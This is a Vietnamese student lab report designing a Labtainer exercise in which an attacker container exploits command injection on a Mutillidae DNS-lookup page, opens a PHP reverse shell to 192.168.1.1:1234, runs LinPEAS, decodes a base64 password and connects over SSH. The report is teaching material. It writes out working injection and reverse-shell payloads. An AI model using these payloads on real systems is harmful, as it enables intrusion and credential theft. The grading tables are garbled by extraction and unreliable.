• Trên máy attacker khởi động netcat lắng nghe tại cổng bất kỳ chú ý không trùng với các cổng mà dịch vụ đang chạy sudo mv sudo systemctl restart apache2 Task 3 : Thực thi linpeas.sh t
Trang 1BỘ THÔNG TIN VÀ TRUYỀN THÔNG HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
-o0o -
BÁO CÁO XÂY DỰNG BÀI LAB TRUNG BÌNH
LINPEAS
Nhóm: 9 Thành viên:
Đàm Văn Trung – B19DCAT198
Trịnh Công Toàn – B19DCAT162
Phạm Văn Thanh – B19DCAT174
Trần Tuấn Anh – B19DCAT010
Môn học: Chuyên đề an ninh mạng Giảng viên hướng dẫn: TS Đinh Trường Duy
Hà Nội - 2023
Trang 2MỤC LỤC
0
MỤC LỤC 1
BẢNG PHÂN CÔNG CÔNG VIỆC 2
DANH MỤC CÁC HÌNH VẼ VÀ BẢNG 2
1 Nội dung và hướng dẫn thực hiện bài thực hành 4
1.1 Mục đích 4
1.2 Yêu cầu đối với sinh viên 4
1.3 Nội dung thực hành 4
2 Phân tích, thiết kế bài thực hành 6
2.1 Phân tích yêu cầu bài thực hành 6
2.2 Thiết kế bài thực hành 7
3 Cài đặt và cấu hình các máy ảo 12
4 Thử nghiệm và đánh giá 14
5 Hướng dẫn tải bài thực hành từ Imodule và module chấm điểm 24
TÀI LIỆU THAM KHẢO 27
Trang 3BẢNG PHÂN CÔNG CÔNG VIỆC
Build checkwork Phạm Văn Thanh,Trần Tuấn Anh
DANH MỤC CÁC HÌNH VẼ VÀ BẢNG
Cấu hình cho việc cá nhân hóa 10
Cấu hình cho kiểm tra kết quả 10
Config goal 11
Kết quả chấm điểm 11
Hình 1 1 Sơ đồ thiết kế bài thực hành 7
Hình 1 2 Docker file máy attacker 12
Hình 1 3 Docker file máy victim 13
Hình 1 4 Config mạng 13
Hình 1 5 Cấu hình fixlocal 14
Hình 1 6 Xem thông tin mạng LAN 14
Hình 1 7 Quét các máy trong mạng LAN 15
Hình 1 8 Quét các dịch vụ thấy cổng 80 đang mở 15
Hình 1 9 Checkwork 15
Hình 1 10 Truy cập web đã cho trước bằng firefox 16
Trang 4Hình 1 11 Phát hiện lỗ hổng command injection 16
Hình 1 12 Khởi động netcat lắng nghe ở cổng 1234 17
Hình 1 13 Tạo 1 reverse shell kết nối đến máy attacker 17
Hình 1 14 Kết nối thành công đến victim 18
Hình 1 15 Checkwork 18
Hình 1 16 Di chuyển file linpeas.sh đến thư mục của apache2 18
Hình 1 17 Khởi động lại dịch vụ apache2 18
Hình 1 18 Tải file linpeas.sh từ máy attacker về 19
Hình 1 19 Thêm quyền thực thi 19
Hình 1 20 Thực thi file linpeas.sh và ghi kết quả vào file text 19
Hình 1 21 Đọc file result.txt 20
Hình 1 22 Thông tin về nhóm người dùng, nhóm người dùng 20
Hình 1 23 Thông tin về thư mục người dùng 21
Hình 1 24 Thông tin về file password 21
Hình 1 25 Thông tin về file ẩn 21
Hình 1 26 Đọc thông tin file ẩn 22
Hình 1 27 Checkwork 22
Hình 1 28 Chỉnh sửa chương trình python để giải mã mật khẩu 22
Hình 1 29 Tiến hành decode 2 lần lấy được plain text 22
Hình 1 30 Checkwork 23
Hình 1 31 Kết nối ssh đến máy victim 23
Hình 1 32 Đọc file ẩn 23
Hình 1 33 Checkwork 23
Hình 1 34 git clone 24
Hình 1 35 Tải từ trình duyệt 24
Hình 1 36 Giải nén file imodule 25
Hình 1 37 Copy vào thư mục labtainer/trunk/labs 25
Hình 1 38 labtainer linpeas 26
Hình 1 39 gradelab linpeas -w 26
Hình 1 40 localhost:8008 26
Hình 1 41 Tạo thành công file csv từ file json 27
Hình 1 42 File csv 27
Trang 51 Nội dung và hướng dẫn thực hiện bài thực hành
1.1 Mục đích
− Giúp sinh viên hiểu được comand injection và tìm hiểu cách sử dụng LinPEAS
để liệt kê mức leo thang đặc quyền trên mục tiêu Linux…
1.2 Yêu cầu đối với sinh viên
− Có kiến thức cơ bản về hệ điều hành Linux, có kiến thức cơ bản về lỗ hổng command injection
1.3 Nội dung thực hành
• Khởi động bài lab:
o Vào terminal, gõ:
startlab linpeas (chú ý: sinh viên sử dụng email stu.ptit.edu.vn của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)
Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy
tấn công: attacker, một cái là đại diện cho máy nạn nhân: victim Biết rằng 2 máy nằm
cùng mạng LAN
Task 1 : Xác định địa chỉ IP và các dịch vụ bằng nmap
• Trên terminal attacker sử dụng lệnh “ifconfig”, xác định địa chỉ IP và địa chỉ
mạng LAN
• Trên máy khách attacker sử dung nmap để tìm ra địa chỉ IP của máy victim vì
chúng cùng nằm trong mạng LAN
nmap –sP <IP mạng LAN>
Tiếp tục sử dụng nmap để tìm cổng dịch vụ đang mở trên máy victim
nmap <IP victim>
Task 2: Tạo 1 reverse shell kết nội đến máy attacker
Trang 6• Sau khi xác định được cổng http đang mở Sử dụng firefox để truy cập vào trang web server
• Sau khi truy cập vảo trang web, thử lookup dns với nội dung google.com;
whoami và phát hiện trang web có lỗi command injection
• Trên máy attacker khởi động netcat lắng nghe tại cổng bất kỳ (chú ý không trùng với các cổng mà dịch vụ đang chạy)
sudo mv <file name> <directory>
sudo systemctl restart apache2
Task 3 : Thực thi linpeas.sh trên máy victim
• Trên reverse shell của máy victim thực hiện câu lệnh curl đến địa chỉ của máy attacker và tải file linpeas.sh xuống
o curl -O <url>
• Sau khi tải file linpeas.sh xong thì thêm quyền thực thi file linpeas.sh
o chmod +x <file>
• Thực thi file linpeas.sh và ghi kết quả vào file result.txt
• Tiến hành đọc file result.txt và quan sát
• Hãy tìm đến đoạn searching *password* or *credential* file in home tìm vị trí của file ẩn có tên hiddenpassword.txt
• Đọc file này và quan sát (nội dung đã được mã hóa dưới dạng base64)
Task 4:Giải mã file hiddenpassword
• Trên máy attacker chứa file python có tên decode.py bạn hãy chỉnh sửa đoạn
code này để có thể giải mã nó ra cleantext.(có thể giải mã nhiều hơn 1 lần)
• Sau khi chỉnh sửa đoạn code thì tiến hành giải mã :
python2 decode.py <string>
Trang 7Task 5: ssh và đọc file bí mật:
• Sau khi giải mã và lấy được password, kết nối ssh đến máy victim và đọc file
tại thư mục /root
• Khởi động lại bài lab:
o Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:
startlab –r linpeas
2 Phân tích, thiết kế bài thực hành
2.1 Phân tích yêu cầu bài thực hành
Bài thực hành cần có hai máy tính nằm trong cùng mạng LAN Trong đó một máy làm tấn công, một máy làm máy nạn nhân chứa tệp tin mà sinh viên cần tìm ra và các lỗ hổng để tấn công Trên máy tấn công cần cài đặt phần mềm nmap và máy chủ apache Sử dụng dịch vụ nmap để tìm cổng của máy chủ biết rằng cổng này nằm trong đoạn 2000 đến 3000 Để hoàn thành bài thực hành, sinh viên cần sử dụng máy tấn công
để truy cập vào trang web của máy nạn nhân và thực hiện cuộc tấn công command injection và mở 1 revershell trên máy nạn nhân, từ đó tải file linpeas về máy nạn nhân
và tìm kiếm các thông tin nhạy cảm như file chứa mật khẩu Sau khi lấy được thông tin nhạy cảm thì kết nối tới máy nạn nhân thông qua ssh và đọc file ẩn
Để đáp ứng yêu cầu bài thực hành, cần cung cấp máy ảo chứa docker trong đó
có 2 containers, mỗi container là một máy tính ảo chạy hệ điều hành Linux là máy tấn công và máy nạn nhân Để có thể thực hiện được việc rà quét lỗ hổng thì hệ thống cần cung cấp khả năng thiết lập một mạng LAN giữa máy chủ và máy khách, đồng thời cung cấp các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh Trên máy tấn công cần cài đặt và sử dụng được công cụ nmap, máy chủ web
Trang 8apache2, trình duyệt web firefox và công cụ netcat Hệ thống cần ghi lại được các thao tác sử dụng công cụ nmap, netcat của sinh viên thông qua các câu lệnh để tạo ra được kết quả đánh giá Hệ thống yêu cầu sinh viên nhập email gắn liền với danh tính của sinh viên, và ghi lại thao tác mở tệp phía máy chủ để thực hiện việc cá nhân hóa cho từng sinh viên
Để bắt đầu bài thực hành, sinh viên cần phải sử dụng các câu lệnh khởi tạo (startlab <tên bài lab>) và câu lệnh kết thúc (stoplab <tên bài lab>) để hệ thống chạy bài lab cũng như lưu lại kết quả
2.2 Thiết kế bài thực hành
Trên môi trường máy ảo Ubuntu được cung cấp, sử dụng docker tạo ra 2 container: 1 container mang tên “attacker” đóng vai trò máy khách và 1 container mang tên “victim” đóng vai trò máy chủ, 2 máy đều được mở các cổng cần thiết Hình 1.1 mô
tả sơ đồ thiết kế bài thực hành
Hình 1 1 Sơ đồ thiết kế bài thực hành
- Tạo mạng LAN “INTRANET” có cấu hình: 192.168.1.0/24 và gateway:
192.168.1.254
- Cấu hình docker gồm có:
● Attacker: lưu cấu hình cho máy khách, trong đó gồm có:
▪ Tên máy khách: attacker
▪ Địa chỉ trong mạng LAN: 192.168.1.1
▪ Gateway: 192.168.1.254
● Victim: lưu cấu hình cho máy chủ, trong đó gồm có:
▪ Tên máy chủ: victim
Trang 9▪ Địa chỉ trong mạng LAN: 192.168.1.2
▪ Gateway: 192.168.1.254
● config: lưu cấu hình hoạt động của hệ thống
● dockerfiles: mô tả cấu hình của 2 container: attacker và victim, trong đó:
▪ attacker: openssl openssh-server openvpn wget tcpdump inetd xinetd: sử dụng các thư viện mặc định hệ thống cùng với cấu hình NETWORK trong đó đã cài sẵn các dịch vụ, chương trình: openssl openssh-server openvpn wget tcpdump update-inetd xinetd Ngoài ra cần phải cài thêm công cụ netcat, trình duyệt firefox và máy chủ web apache2
update-▪ victim: sử dụng các thư viện mặc định hệ thống cùng với cấu hình NETWORK trong đó đã cài sẵn các dịch vụ, chương trình: openssl openssh-server openvpn wget tcpdump update-inetd xinetd
● docs: lưu phần mô tả hướng dẫn làm bài thực hành cho sinh viên
▪ Các nhiệm vụ cần phải thực hiện để thực hành thành công:
✔ Sử dụng câu lệnh “ifconfig” để kiểm tra địa chỉ mạng LAN của máy “attacker”
✔ Trên máy “attacker” sử dung nmap để tìm ra các máy trong mạng và từ đó quét các cổng dịch vụ của máy “victim”
✔ Sau khi xác định được cổng http đang mở Sử dụng firefox để truy cập vào web đang chạy trên máy “victim”
✔ Tại máy “attacker”, dung công cụ netcat để chờ kết nối từ máy
“victim”
✔ Sau khi truy cập được vào web đang chạy trên máy “victim” thì thực hiện cuộc tấn công command injection, tạo revershell
từ máy “victim” kết nối đến máy attacker
✔ Trên máy “attacker”, di chuyển file linpeas.sh có sẵn vào thư mục của máy chủ web apache2 và khởi động lại dịch vụ này
Trang 10✔ Từ reverse shell trên máy “attacker”, thực hiện câu lệnh curl
để tải file linpeas.sh từ máy chủ web của máy “attacker” về máy “victim”
✔ Tiếp tục thực hiện thêm quyền thực thi cho file linpeas.sh vừa mới tải về
✔ Thực thi file linpeas.sh và lưu kết quả khi thực thi vào file text
✔ Đọc file kết quả và tìm được thư mục ẩn chứa thông tin mật khẩu
✔ Đọc file ẩn chứa mật khẩu vừa tìm được và tiến hành giải mã nội dung đã được mã hóa trong file bằng 1 chương trình python
✔ Sau khi giải mã thành công thì thực hiện kết nối ssh đến máy
“victim” và đọc file ẩn
✔ Kết thúc bài lab và đóng gói kết quả
● instr_config: lưu cấu hình cho phần nhận kết quả và chấm điểm
- Thiết lập hệ thống mạng sao cho máy tấn công và máy nạn nhân cùng một mạng LAN
- Các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh
- Máy nạn nhân cần cài dịch vụ web, ssh
o Tạo ra file ẩn chứa mật khẩu đã mã hóa hidden_password.txt và file cá nhân hóa filetoview.txt
- Máy tấn công cần được cài công cụ nmap, netcat, dịch vụ apache2, trình duyệt firefox
● Tạo ra tệp trên máy tấn công mang tên linpeas.sh, decode.py
● Để hoàn thành bài thực hành, cần thực hiện được các câu lệnh nmap, netcat, thực thi file linpeas.sh để tìm và giải mã thông tin nhạy cảm và sử dụng được dịch vụ ssh để truy cập vào máy nạn nhân
● Sau khi hoàn thành bài thực hành, hệ thống cần tự động lưu lại kết quả vào 1 file
Trang 11- Để đánh giá được sinh viên đã hoàn thành bài thực hành hay chưa, cần chia bài thực hành thành các nhiệm vụ nhỏ, mỗi nhiệm vụ cần phải chỉ rõ kết quả để có thể dựa vào đó đánh giá, chấm điểm Do vậy, trong bài thực hành này hệ thống cần ghi nhận các thao tác, sự kiện được mô tả và cấu hình như bảng 1.1, 1.2, 1.3:
Cấu hình cho việc cá nhân hóa
{msfadmin} !
file
Trang 12et_file
attacker ssh.stdout TOKEN:4:
STARTSWITH
My string is:
matchany String_equal View_secret_file Parameter FSTRING
● Sau khi nhận được file đóng gói từ sinh viên, giảng viên sử dụng chức năng chấm điểm để xem kết quả được thiết kế dạng bảng trong đó ghi rõ email của sinh viên thực hiện, từng tiêu chí chấm điểm được ghi nhận ( nếu có chữ “Y” là đã hoàn thành, nếu không có là chưa hoàn thành) và kết luận là sinh viên đã hoàn thành bài thực hành đó hay chưa Kiểm tra bài thực hành đúng do sinh viên làm bằng cách kiểm tra email
Trang 133 Cài đặt và cấu hình các máy ảo
Cấu hình file máy ảo:
Hình 1 2 Docker file máy attacker
Cần cài thêm công cụ netcat, trình duyệt firefox, dịch vụ apache2
Trang 14Hình 1 3 Docker file máy victim
Hình 1 4 Config mạng
Trang 16Hình 1 7 Quét các máy trong mạng LAN
nmap 192.168.1.2
Hình 1 8 Quét các dịch vụ thấy cổng 80 đang mở
Hình 1 9 Checkwork
Trang 17Truy cập http://192.168.1.2/mutillidae/index.php?page=dns-lookup.php
Hình 1 10 Truy cập web đã cho trước bằng firefox
Thử với google.com; whoami
Hình 1 11 Phát hiện lỗ hổng command injection
Trang 18nc -lnvp 1234
Hình 1 12 Khởi động netcat lắng nghe ở cổng 1234
google.com ; php -r '$sock=fsockopen("192.168.1.1",1234);shell_exec("sh <&3
>&3 2>&3");'
Hình 1 13 Tạo 1 reverse shell kết nối đến máy attacker
Trang 19Hình 1 14 Kết nối thành công đến victim
Hình 1 15 Checkwork
Hình 1 16 Di chuyển file linpeas.sh đến thư mục của apache2
sudo mv linpeas.sh /var/www/html
sudo systemctl restart apache2
Hình 1 17 Khởi động lại dịch vụ apache2
Trang 21cat result.txt
Hình 1 21 Đọc file result.txt
Hình 1 22 Thông tin về nhóm người dùng, nhóm người dùng
Trang 22Hình 1 23 Thông tin về thư mục người dùng
Hình 1 24 Thông tin về file password
Hình 1 25 Thông tin về file ẩn
Trang 23cat /home/ubuntu/.hiddenpassword.txt
Hình 1 26 Đọc thông tin file ẩn
Hình 1 27 Checkwork
Hình 1 28 Chỉnh sửa chương trình python để giải mã mật khẩu
Hình 1 29 Tiến hành decode 2 lần lấy được plain text
Trang 255 Hướng dẫn tải bài thực hành từ Imodule và module chấm điểm
Tải imodule chứa bài thực hành về máy ảo labtainer :
Có thể clone về trong máy bằng git
git clone https://github.com/congtoan123/ANM
Hình 1 34 git clone
Hoặc tải trực tiếp về rồi đưa vào máy ảo labtainer
Hình 1 35 Tải từ trình duyệt
Giải nén imodule.zip
Trang 26Hình 1 36 Giải nén file imodule
Sau khi giải nén :
Hình 1 37 Copy vào thư mục labtainer/trunk/labs
Tiến hành cope file vào thư mục /labtainer/trunk/labs
Trang 27Hình 1 38 labtainer linpeas
Hình 1 39 gradelab linpeas -w
Hình 1 40 localhost:8008
Trang 28Hình 1 41 Tạo thành công file csv từ file json
Hình 1 42 File csv
TÀI LIỆU THAM KHẢO
[1] C Security, "Lab 86 – How to enumerate for privilege escalation on a Linux target with
https://www.101labs.net/comptia-security/lab-86-how-to-enumerate-for-privilege-escalation-on-a-linux-target-with-linpeas/